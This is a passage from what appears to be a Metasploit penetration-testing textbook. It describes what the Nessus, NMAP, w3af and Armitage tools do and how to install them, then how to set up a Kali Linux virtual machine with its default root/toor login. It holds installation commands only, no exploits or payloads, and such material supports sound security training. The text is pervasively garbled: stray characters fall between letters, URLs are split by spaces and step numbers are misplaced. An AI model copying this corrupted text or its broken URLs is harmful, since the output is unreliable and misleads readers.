�h�o�m�e�p�a�g�e�:

Nessus web interface for initiating vulnerability assessments
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�I�n�t�r�o�d�u�c�t�i�o�n� �t�o� �M�e�t�a�s�p�l�o�i�t� �a�n�d� �S�u�p�p�o�r�t�i�n�g� �T�o�o�l�s

�[� �1�4� �]

�T�h�e� �f�o�l�l�o�w�i�n�g� �a�r�e� �t�h�e� �d�i�f�f�e�r�e�n�t� �O�S�-�b�a�s�e�d� �i�n�s�t�a�l�l�a�t�i�o�n� �s�t�e�p�s� �f�o�r� �N�e�s�s�u�s�:

�I�n�s�t�a�l�l�a�t�i�o�n� �o�n� �W�i�n�d�o�w�s�:
�N�a�v�i�g�a�t�e� �t�o� �t�h�e� �U�R�L� h  t  t  p  s  ://w  w w .  t  e  n  a  b  l  e  .  c  o  m /p  r  o  d  u  c  t  s  /n  e  s  s  u  s  /s  e�1�.
l  e  c  t  -  y  o  u  r  -  o  p  e  r  a  t  i  n  g  -  s  y  s  t  e  m .

�U�n�d�e�r� �t�h�e� �M�i�c�r�o�s�o�f�t� �W�i�n�d�o�w�s� �c�a�t�e�g�o�r�y�,� �s�e�l�e�c�t� �t�h�e� �a�p�p�r�o�p�r�i�a�t�e� �v�e�r�s�i�o�n�2�.
�(�3�2�-�b�i�t�/�6�4�-�b�i�t�)�.
�D�o�w�n�l�o�a�d� �a�n�d� �i�n�s�t�a�l�l� �t�h�e� msi � �f�i�l�e�.�3�.

�O�p�e�n� �a� �b�r�o�w�s�e�r� �a�n�d� �n�a�v�i�g�a�t�e� �t�o� �t�h�e� �U�R�L� h  t  t  p  s  ://l  o  c  a  l  h  o  s  t  :8834/.�4�.
�S�e�t� �a� �n�e�w� �u�s�e�r�n�a�m�e� �a�n�d� �p�a�s�s�w�o�r�d� �t�o� �a�c�c�e�s�s� �t�h�e� �N�e�s�s�u�s� �c�o�n�s�o�l�e�.�5�.
�F�o�r� �r�e�g�i�s�t�r�a�t�i�o�n�,� �c�l�i�c�k� �o�n� �t�h�e� �r�e�g�i�s�t�e�r�i�n�g� �t�h�i�s� �s�c�a�n�n�e�r� �o�p�t�i�o�n�.�6�.
�U�p�o�n� �v�i�s�i�t�i�n�g� h  t  t  p  ://w  w w .  t  e  n  a  b  l  e  .  c  o  m /p  r  o  d  u  c  t  s  /n  e  s  s  u  s  /n  e  s  s  u  s  -  p�7�.
l  u  g  i  n  s  /o  b  t  a  i  n  -  a  n  -  a  c  t  i  v  a  t  i  o  n  -  c  o  d  e  �,� �s�e�l�e�c�t� �N�e�s�s�u�s� �H�o�m�e� �a�n�d� �e�n�t�e�r
�y�o�u�r� �d�e�t�a�i�l�s� �f�o�r� �r�e�g�i�s�t�r�a�t�i�o�n�.
�E�n�t�e�r� �t�h�e� �r�e�g�i�s�t�r�a�t�i�o�n� �c�o�d�e� �t�h�a�t� �y�o�u� �r�e�c�e�i�v�e� �o�n� �y�o�u�r� �e�m�a�i�l�.�8�.

�I�n�s�t�a�l�l�a�t�i�o�n� �o�n� �L�i�n�u�x� �(�D�e�b�i�a�n�-�b�a�s�e�d�)�:
�N�a�v�i�g�a�t�e� �t�o� �t�h�e� �U�R�L� h  t  t  p  s  ://w  w w .  t  e  n  a  b  l  e  .  c  o  m /p  r  o  d  u  c  t  s  /n  e  s  s  u  s  /s  e�1�.
l  e  c  t  -  y  o  u  r  -  o  p  e  r  a  t  i  n  g  -  s  y  s  t  e  m .

�U�n�d�e�r� �t�h�e� �L�i�n�u�x� �c�a�t�e�g�o�r�y�,� �D�e�b�i�a�n� �6�,�7�,�8� �/� �K�a�l�i� �L�i�n�u�x� �1�,� �s�e�l�e�c�t� �t�h�e�2�.
�a�p�p�r�o�p�r�i�a�t�e� �v�e�r�s�i�o�n� �(�3�2�-�b�i�t�/�A�M�D�6�4�)�.
�D�o�w�n�l�o�a�d� �t�h�e� �f�i�l�e�.�3�.
�O�p�e�n� �a� �t�e�r�m�i�n�a�l� �a�n�d� �b�r�o�w�s�e� �t�o� �t�h�e� �f�o�l�d�e�r� �w�h�e�r�e� �y�o�u� �d�o�w�n�l�o�a�d�e�d� �t�h�e�4�.
�i�n�s�t�a�l�l�e�r� �(.deb �)� �f�i�l�e�.

�T�y�p�e� �t�h�e� �c�o�m�m�a�n�d� dpkg -i <name_of_installer>.deb �.�5�.

�O�p�e�n� �a� �b�r�o�w�s�e�r� �a�n�d� �n�a�v�i�g�a�t�e� �t�o� �t�h�e� �U�R�L� h  t  t  p  s  ://l  o  c  a  l  h  o  s  t  :8834/.�6�.
�S�e�t� �a� �n�e�w� �u�s�e�r�n�a�m�e� �a�n�d� �p�a�s�s�w�o�r�d� �t�o� �a�c�c�e�s�s� �t�h�e� �N�e�s�s�u�s� �c�o�n�s�o�l�e�.�7�.
�F�o�r� �r�e�g�i�s�t�r�a�t�i�o�n�,� �c�l�i�c�k� �o�n� �t�h�e� �r�e�g�i�s�t�e�r�i�n�g� �t�h�i�s� �s�c�a�n�n�e�r� �o�p�t�i�o�n�.�8�.
�U�p�o�n� �v�i�s�i�t�i�n�g� h  t  t  p  ://w  w w .  t  e  n  a  b  l  e  .  c  o  m /p  r  o  d  u  c  t  s  /n  e  s  s  u  s  /n  e  s  s  u  s  -  p�9�.
l  u  g  i  n  s  /o  b  t  a  i  n  -  a  n  -  a  c  t  i  v  a  t  i  o  n  -  c  o  d  e  �,� �s�e�l�e�c�t� �N�e�s�s�u�s� �H�o�m�e� �a�n�d� �e�n�t�e�r
�y�o�u�r� �d�e�t�a�i�l�s� �f�o�r� �r�e�g�i�s�t�r�a�t�i�o�n�.
�E�n�t�e�r� �t�h�e� �r�e�g�i�s�t�r�a�t�i�o�n� �c�o�d�e� �t�h�a�t� �y�o�u� �r�e�c�e�i�v�e� �o�n� �y�o�u�r� �e�m�a�i�l�.�1�0�.
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�N�M�A�P
�N�M�A�P� �(�a�b�b�r�e�v�i�a�t�i�o�n� �f�o�r� �N�e�t�w�o�r�k� �M�a�p�p�e�r�)� �i�s� �a� �d�e�-�f�a�c�t�o� �t�o�o�l� �f�o�r� �n�e�t�w�o�r�k� �i�n�f�o�r�m�a�t�i�o�n
�g�a�t�h�e�r�i�n�g�.� �I�t� �b�e�l�o�n�g�s� �t�o� �t�h�e� �i�n�f�o�r�m�a�t�i�o�n� �g�a�t�h�e�r�i�n�g� �a�n�d� �e�n�u�m�e�r�a�t�i�o�n� �c�a�t�e�g�o�r�y�.� �A�t� �a� �g�l�a�n�c�e�,� �i�t
�m�a�y� �a�p�p�e�a�r� �t�o� �b�e� �q�u�i�t�e� �a� �s�m�a�l�l� �a�n�d� �s�i�m�p�l�e� �t�o�o�l�.� �H�o�w�e�v�e�r�,� �i�t� �i�s� �s�o� �c�o�m�p�r�e�h�e�n�s�i�v�e� �t�h�a�t� �a
�c�o�m�p�l�e�t�e� �b�o�o�k� �c�o�u�l�d� �b�e� �d�e�d�i�c�a�t�e�d� �o�n� �h�o�w� �t�o� �t�u�n�e� �a�n�d� �c�o�n�f�i�g�u�r�e� �N�M�A�P� �a�s� �p�e�r� �o�u�r
�r�e�q�u�i�r�e�m�e�n�t�s�.� �N�M�A�P� �c�a�n� �g�i�v�e� �u�s� �a� �q�u�i�c�k� �o�v�e�r�v�i�e�w� �o�f� �w�h�a�t� �a�l�l� �p�o�r�t�s� �a�r�e� �o�p�e�n� �a�n�d� �w�h�a�t
�s�e�r�v�i�c�e�s� �a�r�e� �r�u�n�n�i�n�g� �i�n� �o�u�r� �t�a�r�g�e�t� �n�e�t�w�o�r�k�.� �T�h�i�s� �f�e�e�d� �c�a�n� �b�e� �g�i�v�e�n� �t�o� �M�e�t�a�s�p�l�o�i�t� �f�o�r� �f�u�r�t�h�e�r
�a�c�t�i�o�n�.� �W�h�i�l�e� �a� �d�e�t�a�i�l�e�d� �d�i�s�c�u�s�s�i�o�n� �o�n� �N�M�A�P� �i�s� �o�u�t� �o�f� �t�h�e� �s�c�o�p�e� �f�o�r� �t�h�i�s� �b�o�o�k�,� �w�e�'�l�l
�c�e�r�t�a�i�n�l�y� �c�o�v�e�r� �a�l�l� �t�h�e� �i�m�p�o�r�t�a�n�t� �a�s�p�e�c�t�s� �o�f� �N�M�A�P� �i�n� �t�h�e� �l�a�t�e�r� �c�h�a�p�t�e�r�s�.

�I�t�s� �o�f�f�i�c�i�a�l� �w�e�b�s�i�t�e� �i�s� h  t  t  p  s  ://n  m a  p  .  o  r  g  /.  �T�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t� �s�h�o�w�s� �a� �s�a�m�p�l�e� �N�M�A�P
�s�c�a�n�:

A sample NMAP scan using command-line interface
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�h�a�s� �a� �g�r�a�p�h�i�c�a�l� �i�n�t�e�r�f�a�c�e� �k�n�o�w�n� �a�s� �Z�e�n�m�a�p�,� �w�h�i�c�h� �i�s� �a� �s�i�m�p�l�i�f�i�e�d� �i�n�t�e�r�f�a�c�e� �o�n� �t�h�e� �N�M�A�P
�e�n�g�i�n�e�,� �a�s� �f�o�l�l�o�w�s�:

Zenmap graphical user interface (GUI) for NMAP

�T�h�e� �f�o�l�l�o�w�i�n�g� �a�r�e� �t�h�e� �d�i�f�f�e�r�e�n�t� �O�S�-�b�a�s�e�d� �i�n�s�t�a�l�l�a�t�i�o�n� �s�t�e�p�s� �f�o�r� �N�M�A�P�:

�I�n�s�t�a�l�l�a�t�i�o�n� �o�n� �W�i�n�d�o�w�s�:
�N�a�v�i�g�a�t�e� �t�o� �s�i�t�e� h  t  t  p  s  ://n  m a  p  .  o  r  g  /d  o  w n  l  o  a  d  .  h  t  m l  .�1�.
�U�n�d�e�r� �t�h�e� �M�i�c�r�o�s�o�f�t� �W�i�n�d�o�w�s� �B�i�n�a�r�i�e�s� �s�e�c�t�i�o�n�,� �s�e�l�e�c�t� �t�h�e� �l�a�t�e�s�t�2�.
�v�e�r�s�i�o�n� �(.exe �)� �f�i�l�e�.

�I�n�s�t�a�l�l� �t�h�e� �d�o�w�n�l�o�a�d�e�d� �f�i�l�e� �a�l�o�n�g� �w�i�t�h� �W�i�n�P�C�A�P� �(�i�f� �n�o�t� �a�l�r�e�a�d�y�3�.
�i�n�s�t�a�l�l�e�d�)�.

�W�i�n�P�C�A�P� �i�s� �a� �p�r�o�g�r�a�m� �t�h�a�t� �i�s� �r�e�q�u�i�r�e�d� �i�n� �o�r�d�e�r� �t�o� �r�u�n� �t�o�o�l�s� �s�u�c�h
�a�s� �N�M�A�P�,� �N�e�s�s�u�s�,� �a�n�d� �W�i�r�e�s�h�a�r�k�.� �I�t� �c�o�n�t�a�i�n�s� �a� �s�e�t� �o�f� �l�i�b�r�a�r�i�e�s
�t�h�a�t� �a�l�l�o�w� �o�t�h�e�r� �a�p�p�l�i�c�a�t�i�o�n�s� �t�o� �c�a�p�t�u�r�e� �a�n�d� �t�r�a�n�s�m�i�t� �n�e�t�w�o�r�k
�p�a�c�k�e�t�s�.
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�I�n�s�t�a�l�l�a�t�i�o�n� �o�n� �L�i�n�u�x� �(�D�e�b�i�a�n�-�b�a�s�e�d�)�:� �N�M�A�P� �i�s� �b�y� �d�e�f�a�u�l�t� �i�n�s�t�a�l�l�e�d� �i�n� �K�a�l�i
�L�i�n�u�x�;� �h�o�w�e�v�e�r�,� �i�f� �n�o�t� �i�n�s�t�a�l�l�e�d�,� �y�o�u� �c�a�n� �u�s�e� �t�h�e� �f�o�l�l�o�w�i�n�g� �c�o�m�m�a�n�d� �t�o� �i�n�s�t�a�l�l� �i�t�:

root@kali:~#apt-get install nmap

�w�3�a�f
�w�3�a�f� �i�s� �a�n� �o�p�e�n�-�s�o�u�r�c�e� �w�e�b� �a�p�p�l�i�c�a�t�i�o�n� �s�e�c�u�r�i�t�y� �s�c�a�n�n�i�n�g� �t�o�o�l�.� �I�t� �b�e�l�o�n�g�s� �t�o� �t�h�e� �w�e�b
�a�p�p�l�i�c�a�t�i�o�n� �s�e�c�u�r�i�t�y� �s�c�a�n�n�e�r� �c�a�t�e�g�o�r�y�.� �I�t� �c�a�n� �q�u�i�c�k�l�y� �s�c�a�n� �t�h�e� �t�a�r�g�e�t� �w�e�b� �a�p�p�l�i�c�a�t�i�o�n� �f�o�r
�c�o�m�m�o�n� �w�e�b� �a�p�p�l�i�c�a�t�i�o�n� �v�u�l�n�e�r�a�b�i�l�i�t�i�e�s�,� �i�n�c�l�u�d�i�n�g� �t�h�e� �O�W�A�S�P� �T�o�p� �1�0�.� �w�3�a�f� �c�a�n� �a�l�s�o� �b�e
�e�f�f�e�c�t�i�v�e�l�y� �i�n�t�e�g�r�a�t�e�d� �w�i�t�h� �M�e�t�a�s�p�l�o�i�t� �t�o� �m�a�k�e� �i�t� �e�v�e�n� �m�o�r�e� �p�o�w�e�r�f�u�l�.

�I�t�s� �o�f�f�i�c�i�a�l� �w�e�b�s�i�t�e� �i�s� http://w3af.org/ . � �W�e� �c�a�n� �s�e�e� �t�h�e� �w�3�a�f� �c�o�n�s�o�l�e� �f�o�r� �s�c�a�n�n�i�n�g� �w�e�b
�a�p�p�l�i�c�a�t�i�o�n� �v�u�l�n�e�r�a�b�i�l�i�t�i�e�s� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �i�m�a�g�e�:

w3af console for scanning web application vulnerabilities

http://w3af.org/
http://w3af.org/
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�T�h�e� �f�o�l�l�o�w�i�n�g� �a�r�e� �t�h�e� �v�a�r�i�o�u�s� �O�S�-�b�a�s�e�d� �i�n�s�t�a�l�l�a�t�i�o�n� �s�t�e�p�s� �f�o�r� �w�3�a�f�:

�I�n�s�t�a�l�l�a�t�i�o�n� �o�n� �W�i�n�d�o�w�s�:� �w�3�a�f� �i�s� �n�o�t� �a�v�a�i�l�a�b�l�e� �f�o�r� �t�h�e� �W�i�n�d�o�w�s� �p�l�a�t�f�o�r�m
�I�n�s�t�a�l�l�a�t�i�o�n� �o�n� �L�i�n�u�x� �(�D�e�b�i�a�n�-�b�a�s�e�d�)�:� �w�3�a�f� �i�s� �b�y� �d�e�f�a�u�l�t� �i�n�s�t�a�l�l�e�d� �o�n� �K�a�l�i� �L�i�n�u�x�;
�h�o�w�e�v�e�r�,� �i�f� �n�o�t� �i�n�s�t�a�l�l�e�d�,� �y�o�u� �c�a�n� �u�s�e� �t�h�e� �f�o�l�l�o�w�i�n�g� �c�o�m�m�a�n�d� �t�o� �i�n�s�t�a�l�l� �i�t�:

root@kali:~# apt-get install w3af

�A�r�m�i�t�a�g�e
�A�r�m�i�t�a�g�e� �i�s� �a�n� �e�x�p�l�o�i�t� �a�u�t�o�m�a�t�i�o�n� �f�r�a�m�e�w�o�r�k� �t�h�a�t� �u�s�e�s� �M�e�t�a�s�p�l�o�i�t� �a�t� �t�h�e� �b�a�c�k�e�n�d�.� �I�t
�b�e�l�o�n�g�s� �t�o� �t�h�e� �e�x�p�l�o�i�t� �a�u�t�o�m�a�t�i�o�n� �c�a�t�e�g�o�r�y�.� �I�t� �o�f�f�e�r�s� �a�n� �e�a�s�y�-�t�o�-�u�s�e� �u�s�e�r� �i�n�t�e�r�f�a�c�e� �f�o�r� �f�i�n�d�i�n�g
�h�o�s�t�s� �i�n� �t�h�e� �n�e�t�w�o�r�k�,� �s�c�a�n�n�i�n�g�,� �e�n�u�m�e�r�a�t�i�o�n�,� �f�i�n�d�i�n�g� �v�u�l�n�e�r�a�b�i�l�i�t�i�e�s�,� �a�n�d� �e�x�p�l�o�i�t�i�n�g� �t�h�e�m
�u�s�i�n�g� �M�e�t�a�s�p�l�o�i�t� �e�x�p�l�o�i�t�s� �a�n�d� �p�a�y�l�o�a�d�s�.� �W�e�'�l�l� �h�a�v�e� �a� �d�e�t�a�i�l�e�d� �o�v�e�r�v�i�e�w� �o�f� �A�r�m�i�t�a�g�e� �l�a�t�e�r� �i�n
�t�h�i�s� �b�o�o�k�.

�I�t�s� �o�f�f�i�c�i�a�l� �w�e�b�s�i�t�e� �i�s� http://www.fastandeasyhacking.com/index.html . � We can see the 
Armitage  console for exploit automation in the following screenshot:

Armitage console for exploit automation.
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�T�h�e� �f�o�l�l�o�w�i�n�g� �a�r�e� �t�h�e� �v�a�r�i�o�u�s� �O�S�-�b�a�s�e�d� �i�n�s�t�a�l�l�a�t�i�o�n� �s�t�e�p�s� �f�o�r� �A�r�m�i�t�a�g�e�:

�I�n�s�t�a�l�l�a�t�i�o�n� �o�n� �W�i�n�d�o�w�s�:� �A�r�m�i�t�a�g�e� �i�s� �n�o�t� �s�u�p�p�o�r�t�e�d� �o�n� �W�i�n�d�o�w�s
�I�n�s�t�a�l�l�a�t�i�o�n� �o�n� �L�i�n�u�x� �(�D�e�b�i�a�n�-�b�a�s�e�d�)�:� �A�r�m�i�t�a�g�e� �i�s� �b�y� �d�e�f�a�u�l�t� �i�n�s�t�a�l�l�e�d� �o�n� �K�a�l�i
�L�i�n�u�x�;� �h�o�w�e�v�e�r�,� �i�f� �n�o�t� �i�n�s�t�a�l�l�e�d�,� �y�o�u� �c�a�n� �u�s�e� �t�h�e� �f�o�l�l�o�w�i�n�g� �c�o�m�m�a�n�d� �t�o� �i�n�s�t�a�l�l� �i�t�:

root@kali:~# apt-get install armitage

�P�o�s�t�g�r�e�S�Q�L�,� �M�e�t�a�s�p�l�o�i�t�,� �a�n�d� �J�a�v�a� �a�r�e� �r�e�q�u�i�r�e�d� �t�o� �s�e�t� �u�p� �a�n�d� �r�u�n� �A�r�m�i�t�a�g�e�.
�H�o�w�e�v�e�r�,� �t�h�e�s�e� �a�r�e� �a�l�r�e�a�d�y� �i�n�s�t�a�l�l�e�d� �o�n� �t�h�e� �K�a�l�i� �L�i�n�u�x� �s�y�s�t�e�m�.

�S�u�m�m�a�r�y
�N�o�w� �t�h�a�t� �w�e� �h�a�v�e� �g�o�t� �a� �h�i�g�h�-�l�e�v�e�l� �o�v�e�r�v�i�e�w� �o�f� �w�h�a�t� �M�e�t�a�s�p�l�o�i�t� �i�s� �a�l�l� �a�b�o�u�t�,� �i�t�s� �a�p�p�l�i�c�a�b�i�l�i�t�y
�i�n� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g�,� �a�n�d� �s�u�p�p�o�r�t�i�n�g� �t�o�o�l�s�,� �w�e�'�l�l� �b�r�o�w�s�e� �t�h�r�o�u�g�h� �t�h�e� �i�n�s�t�a�l�l�a�t�i�o�n� �a�n�d
�e�n�v�i�r�o�n�m�e�n�t� �s�e�t�u�p� �f�o�r� �M�e�t�a�s�p�l�o�i�t� �i�n� �t�h�e� �n�e�x�t� �c�h�a�p�t�e�r�.

�E�x�e�r�c�i�s�e�s
�Y�o�u� �c�a�n� �t�r�y� �t�h�e� �f�o�l�l�o�w�i�n�g� �e�x�e�r�c�i�s�e�s�:

�V�i�s�i�t� �M�e�t�a�s�p�l�o�i�t�'�s� �o�f�f�i�c�i�a�l� �w�e�b�s�i�t�e� �a�n�d� �t�r�y� �t�o� �l�e�a�r�n� �a�b�o�u�t� �t�h�e� �d�i�f�f�e�r�e�n�c�e�s� �i�n� �v�a�r�i�o�u�s
�e�d�i�t�i�o�n�s� �o�f� �M�e�t�a�s�p�l�o�i�t
�T�r�y� �t�o� �e�x�p�l�o�r�e� �m�o�r�e� �o�n� �h�o�w� �N�e�s�s�u�s� �a�n�d� �N�M�A�P� �c�a�n� �h�e�l�p� �u�s� �d�u�r�i�n�g� �a� �p�e�n�e�t�r�a�t�i�o�n
�t�e�s�t�.



�2
�S�e�t�t�i�n�g� �u�p� �Y�o�u�r� �E�n�v�i�r�o�n�m�e�n�t

�I�n� �t�h�e� �p�r�e�c�e�d�i�n�g� �c�h�a�p�t�e�r�,� �y�o�u� �g�o�t� �f�a�m�i�l�i�a�r�i�z�e�d� �w�i�t�h� �v�u�l�n�e�r�a�b�i�l�i�t�y� �a�s�s�e�s�s�m�e�n�t�s�,� �p�e�n�e�t�r�a�t�i�o�n
�t�e�s�t�i�n�g�,� �a�n�d� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �i�n� �b�r�i�e�f�.� �N�o�w�,� �l�e�t�'�s� �g�e�t� �p�r�a�c�t�i�c�a�l�l�y� �s�t�a�r�t�e�d� �w�i�t�h
�M�e�t�a�s�p�l�o�i�t� �b�y� �l�e�a�r�n�i�n�g� �h�o�w� �t�o� �i�n�s�t�a�l�l� �a�n�d� �s�e�t� �u�p� �t�h�e� �f�r�a�m�e�w�o�r�k� �o�n� �v�a�r�i�o�u�s� �p�l�a�t�f�o�r�m�s� �a�l�o�n�g
�w�i�t�h� �s�e�t�t�i�n�g� �u�p� �a� �d�e�d�i�c�a�t�e�d� �v�i�r�t�u�a�l� �t�e�s�t� �e�n�v�i�r�o�n�m�e�n�t�.� �I�n� �t�h�i�s� �c�h�a�p�t�e�r�,� �y�o�u� �w�i�l�l� �l�e�a�r�n� �a�b�o�u�t
�t�h�e� �f�o�l�l�o�w�i�n�g� �t�o�p�i�c�s�:

�U�s�i�n�g� �t�h�e� �K�a�l�i� �L�i�n�u�x� �v�i�r�t�u�a�l� �m�a�c�h�i�n�e� �t�o� �i�n�s�t�a�n�t�l�y� �g�e�t� �s�t�a�r�t�e�d� �w�i�t�h� �M�e�t�a�s�p�l�o�i�t� �a�n�d
�s�u�p�p�o�r�t�i�n�g� �t�o�o�l�s
�I�n�s�t�a�l�l�i�n�g� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �o�n� �W�i�n�d�o�w�s� �a�n�d� �L�i�n�u�x� �p�l�a�t�f�o�r�m�s
�S�e�t�t�i�n�g� �u�p� �e�x�p�l�o�i�t�a�b�l�e� �t�a�r�g�e�t�s� �i�n� �a� �v�i�r�t�u�a�l� �e�n�v�i�r�o�n�m�e�n�t

�U�s�i�n�g� �t�h�e� �K�a�l�i� �L�i�n�u�x� �v�i�r�t�u�a�l� �m�a�c�h�i�n�e� �-� �t�h�e
�e�a�s�i�e�s�t� �w�a�y
�M�e�t�a�s�p�l�o�i�t� �i�s� �a� �s�t�a�n�d�a�l�o�n�e� �a�p�p�l�i�c�a�t�i�o�n� �d�i�s�t�r�i�b�u�t�e�d� �b�y� �R�a�p�i�d�7�.� �I�t� �c�a�n� �b�e� �i�n�d�i�v�i�d�u�a�l�l�y
�d�o�w�n�l�o�a�d�e�d� �a�n�d� �i�n�s�t�a�l�l�e�d� �o�n� �v�a�r�i�o�u�s� �o�p�e�r�a�t�i�n�g� �s�y�s�t�e�m� �p�l�a�t�f�o�r�m�s� �s�u�c�h� �a�s� �W�i�n�d�o�w�s� �a�n�d
�L�i�n�u�x�.� �H�o�w�e�v�e�r�,� �a�t� �t�i�m�e�s�,� �M�e�t�a�s�p�l�o�i�t� �r�e�q�u�i�r�e�s� �q�u�i�t�e� �a� �l�o�t� �o�f� �s�u�p�p�o�r�t�i�n�g� �t�o�o�l�s� �a�n�d� �u�t�i�l�i�t�i�e�s� �a�s
�w�e�l�l�.� �I�t� �c�a�n� �b�e� �a� �b�i�t� �e�x�h�a�u�s�t�i�n�g� �t�o� �i�n�s�t�a�l�l� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �a�n�d� �a�l�l� �s�u�p�p�o�r�t�i�n�g� �t�o�o�l�s
�i�n�d�i�v�i�d�u�a�l�l�y� �o�n� �a�n�y� �g�i�v�e�n� �p�l�a�t�f�o�r�m�.� �T�o� �e�a�s�e� �t�h�e� �p�r�o�c�e�s�s� �o�f� �s�e�t�t�i�n�g� �u�p� �t�h�e� �M�e�t�a�s�p�l�o�i�t
�F�r�a�m�e�w�o�r�k� �a�l�o�n�g� �w�i�t�h� �t�h�e� �r�e�q�u�i�r�e�d� �t�o�o�l�s�,� �i�t� �i�s� �r�e�c�o�m�m�e�n�d�e�d� �t�o� �g�e�t� �a� �r�e�a�d�y�-�t�o�-�u�s�e� �K�a�l�i
�L�i�n�u�x� �v�i�r�t�u�a�l� �m�a�c�h�i�n�e�.



�S�e�t�t�i�n�g� �u�p� �Y�o�u�r� �E�n�v�i�r�o�n�m�e�n�t

�[� �2�1� �]

�U�s�i�n�g� �t�h�i�s� �v�i�r�t�u�a�l� �m�a�c�h�i�n�e� �w�i�l�l� �g�i�v�e� �t�h�e� �f�o�l�l�o�w�i�n�g� �b�e�n�e�f�i�t�s�:

�P�l�u�g� �a�n�d� �p�l�a�y� �K�a�l�i� �L�i�n�u�x�-�-�n�o� �i�n�s�t�a�l�l�a�t�i�o�n� �r�e�q�u�i�r�e�d
�M�e�t�a�s�p�l�o�i�t� �c�o�m�e�s� �p�r�e�-�i�n�s�t�a�l�l�e�d� �w�i�t�h� �t�h�e� �K�a�l�i� �V�M
�A�l�l� �t�h�e� �s�u�p�p�o�r�t�i�n�g� �t�o�o�l�s� �(�d�i�s�c�u�s�s�e�d� �i�n� �t�h�i�s� �b�o�o�k�)� �a�l�s�o� �c�o�m�e� �p�r�e�-�i�n�s�t�a�l�l�e�d� �w�i�t�h� �t�h�e
�K�a�l�i� �V�M
�S�a�v�e� �t�i�m�e� �a�n�d� �e�f�f�o�r�t� �i�n� �s�e�t�t�i�n�g� �u�p� �M�e�t�a�s�p�l�o�i�t� �a�n�d� �o�t�h�e�r� �s�u�p�p�o�r�t�i�n�g� �t�o�o�l�s
�i�n�d�i�v�i�d�u�a�l�l�y

�I�n� �o�r�d�e�r� �t�o� �u�s�e� �t�h�e� �K�a�l�i� �L�i�n�u�x� �v�i�r�t�u�a�l� �m�a�c�h�i�n�e�,� �y�o�u� �w�i�l�l� �f�i�r�s�t� �n�e�e�d� �t�o� �h�a�v�e
�e�i�t�h�e�r� �V�i�r�t�u�a�l�B�o�x�,� �V�M�P�l�a�y�e�r�,� �o�r� �V�M�w�a�r�e� �W�o�r�k�s�t�a�t�i�o�n� �i�n�s�t�a�l�l�e�d� �o�n� �y�o�u�r
�s�y�s�t�e�m�.

�T�h�e� �f�o�l�l�o�w�i�n�g� �a�r�e� �t�h�e� �s�t�e�p�s� �f�o�r� �g�e�t�t�i�n�g� �s�t�a�r�t�e�d� �w�i�t�h� �K�a�l�i� �L�i�n�u�x� �V�M�:

�D�o�w�n�l�o�a�d� �t�h�e� �K�a�l�i� �L�i�n�u�x� �v�i�r�t�u�a�l� �m�a�c�h�i�n�e� �f�r�o�m� h  t  t  p  s  ://w  w w .  o  f  f  e  n  s  i  v  e  -  s  e  c  u  r  i�1�.
t  y  .  c  o  m /k  a  l  i  -  l  i  n  u  x  -  v  m w a  r  e  -  v  i  r  t  u  a  l  b  o  x  -  i  m a  g  e  -  d  o  w n  l  o  a  d  / �.
�S�e�l�e�c�t� �a�n�d� �d�o�w�n�l�o�a�d� �K�a�l�i� �L�i�n�u�x� �6�4� �b�i�t� �V�M� �o�r� �K�a�l�i� �L�i�n�u�x� �3�2� �b�i�t� �V�M� �P�A�E� �b�a�s�e�d�2�.
�o�n� �t�h�e� �t�y�p�e� �o�f� �y�o�u�r� �b�a�s�e� �o�p�e�r�a�t�i�n�g� �s�y�s�t�e�m�,� �a�s� �f�o�l�l�o�w�s�:
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�O�n�c�e� �t�h�e� �V�M� �i�s� �d�o�w�n�l�o�a�d�e�d�,� �e�x�t�r�a�c�t� �i�t� �f�r�o�m� �t�h�e� �Z�i�p� �f�i�l�e� �t�o� �a�n�y� �l�o�c�a�t�i�o�n� �o�f� �y�o�u�r�3�.
�c�h�o�i�c�e�.
�D�o�u�b�l�e� �c�l�i�c�k� �o�n� �t�h�e� �V�M�w�a�r�e� �v�i�r�t�u�a�l� �m�a�c�h�i�n�e� �c�o�n�f�i�g�u�r�a�t�i�o�n� �f�i�l�e� �t�o� �o�p�e�n� �t�h�e�4�.
�v�i�r�t�u�a�l� �m�a�c�h�i�n�e� �a�n�d� �t�h�e�n� �p�l�a�y� �t�h�e� �v�i�r�t�u�a�l� �m�a�c�h�i�n�e�.� �T�h�e� �f�o�l�l�o�w�i�n�g� �c�r�e�d�e�n�t�i�a�l�s� �c�a�n
�b�e� �u�s�e�d� �t�o� �l�o�g� �i�n�t�o� �t�h�e� �v�i�r�t�u�a�l� �m�a�c�h�i�n�e�:

Username - root
 Password - toor

�T�o� �s�t�a�r�t� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�,� �o�p�e�n� �t�h�e� �t�e�r�m�i�n�a�l� �a�n�d� �t�y�p�e� msfconsole �,� �a�s�5�.
�f�o�l�l�o�w�s�:



�S�e�t�t�i�n�g� �u�p� �Y�o�u�r� �E�n�v�i�r�o�n�m�e�n�t

�[� �2�3� �]

�I�n�s�t�a�l�l�i�n�g� �M�e�t�a�s�p�l�o�i�t� �o�n� �W�i�n�d�o�w�s
�M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �c�a�n� �b�e� �e�a�s�i�l�y� �i�n�s�t�a�l�l�e�d� �o�n� �a� �W�i�n�d�o�w�s� �b�a�s�e�d� �o�p�e�r�a�t�i�n�g� �s�y�s�t�e�m�.
�H�o�w�e�v�e�r�,� �W�i�n�d�o�w�s� �i�s� �u�s�u�a�l�l�y� �n�o�t� �t�h�e� �p�l�a�t�f�o�r�m� �o�f� �c�h�o�i�c�e� �f�o�r� �d�e�p�l�o�y�i�n�g� �M�e�t�a�s�p�l�o�i�t
�F�r�a�m�e�w�o�r�k�,� �t�h�e� �r�e�a�s�o�n� �b�e�i�n�g�,� �t�h�a�t� �m�a�n�y� �o�f� �t�h�e� �s�u�p�p�o�r�t�i�n�g� �t�o�o�l�s� �a�n�d� �u�t�i�l�i�t�i�e�s� �a�r�e� �n�o�t
